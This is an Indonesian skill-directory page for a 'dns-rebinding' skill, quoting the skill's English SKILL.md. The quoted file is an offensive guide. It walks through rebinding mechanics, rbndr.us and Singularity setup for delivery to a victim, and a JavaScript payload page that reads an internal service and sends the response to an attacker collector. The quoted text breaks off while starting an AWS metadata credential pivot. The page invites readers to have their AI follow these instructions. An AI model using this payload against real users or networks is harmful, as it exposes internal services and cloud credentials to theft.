Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14060

dns-rebinding

Fungsinya

Skill ini menjelaskan DNS rebinding, trik ketika situs web membuat browser pengunjung mencapai layanan jaringan privat. Skill ini untuk penguji keamanan yang memeriksa keterpaparan internal.

Kapan dipakai

  • βœ“Saat filter permintaan di sisi server memblokir target, tetapi browser pengunjung masih bisa dipakai untuk mencapainya.
  • βœ“Saat layanan pengembangan lokal atau dasbor internal mungkin bisa dijangkau dari browser.
  • βœ“Saat Anda perlu memeriksa apakah aplikasi bertahan dari DNS rebinding dengan pemeriksaan host.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah dasbor internal saya bisa dijangkau lewat trik DNS rebinding di browser?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Sebuah domain pertama-tama mengarah ke alamat publik, lalu berpindah ke alamat internal setelah batas waktu singkat, sehingga halaman bisa membaca respons seolah berasal dari situs yang sama.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser treat attacker.com as if it were 127.0.0.1 (or any internal IP). The browser's same-origin policy checks the hostname, not the IP β€” so after rebinding, the page's JS can read responses from the internal service as if they were same-origin.

When This Applies

Scenario Viable?
SSRF blocked, but victim browser is reachable Yes β€” browser does the internal fetch
Localhost service (Electron app, dev server, K8s dashboard) Yes β€” browser calls 127.0.0.1:<PORT>
Cloud IMDS (169.254.169.254) reachable from instance's browser Yes β€” rare but critical
Server-side SSRF filter allows attacker.com Yes β€” rebind to internal IP
Target has DNS-rebinding protection (Host header check) Partial β€” see bypass Β§7

2. Attack Mechanics

Phase 1 β€” Victim resolves attacker.com β†’ public IP

Victim visits http://attacker.com/payload.html. Browser resolves the DNS name β†’ gets the attacker's real public IP β†’ same-origin allows the page's JS to load and execute.

Phase 2 β€” TTL expires, DNS flips to 127.0.0.1

The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns 127.0.0.1 (or target internal IP).

Phase 3 β€” JS makes same-origin request

The page's JS calls fetch("http://attacker.com/api/v1/secret"). The browser re-resolves attacker.com β†’ gets 127.0.0.1 β†’ sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it.

[Browser] β†’ DNS query: attacker.com β†’ [Attacker DNS] β†’ 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] β†’ DNS query: attacker.com β†’ [Attacker DNS] β†’ 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") β†’ [127.0.0.1:8080]
[Browser] β†’ response body exfiltrated to attacker

3. Tooling

rbndr.us (fastest, no setup)

Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:

<hex-public-ip>.<hex-target-ip>.rbndr.us

Example β€” rebind attacker.com from 1.2.3.4 to 127.0.0.1:

PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"   # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# β†’ e.g. 01020304.7f000001.rbndr.us

The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at http://$REBIND_HOST:8080/.

Singularity (full-featured, self-hosted)

git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html

# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)

docker run -it --rm \
  -p 53:53/udp -p 8080:8080 \
  nccgroup/singularity

# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victim

4. Payload Page

Minimal JS to fetch once rebinding succeeds:

<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;   // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil  = "https://<ATTACKER_COLLECTOR>/";

function tryFetch(attempt) {
    fetch(target, {cache: "no-store"})
        .then(r => r.text())
        .then(body => {
            // Got internal service response β€” exfiltrate
            fetch(exfil + "?d=" + btoa(body).slice(0,1000));
        })
        .catch(err => {
            // DNS hasn't flipped yet, retry
            if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
        });
}

setTimeout(() => tryFetch(0), 500);  // give first TTL a moment to expire
</script>
</body>
</html>

For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective β€” the only protection is Host header validation (see Β§7). Azure IMDS requires Metadata: true header β€” inject via:

fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})

5. Cloud IMDS Pivot

Once the rebinding hits 169.254.169.254:

// AWS IMDSv1 β€” enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache
Pertanyaan umum

Apa itu DNS rebinding secara sederhana?

Itu adalah trik ketika nama domain awalnya mengarah ke server publik, lalu berubah ke alamat internal agar halaman web bisa menjangkau layanan yang seharusnya privat.

Alamat internal apa yang disebutkan?

Skill ini menyebut alamat metadata cloud 169.254.169.254 sebagai salah satu target internal yang mungkin.

Apakah skill ini membahas pertahanan?

Ya. Skill ini mencatat bahwa beberapa target memakai pemeriksaan header Host, yang hanya sebagian menghentikan serangan ini.

Detail

Deskripsi asli dari pembuat

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14060
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa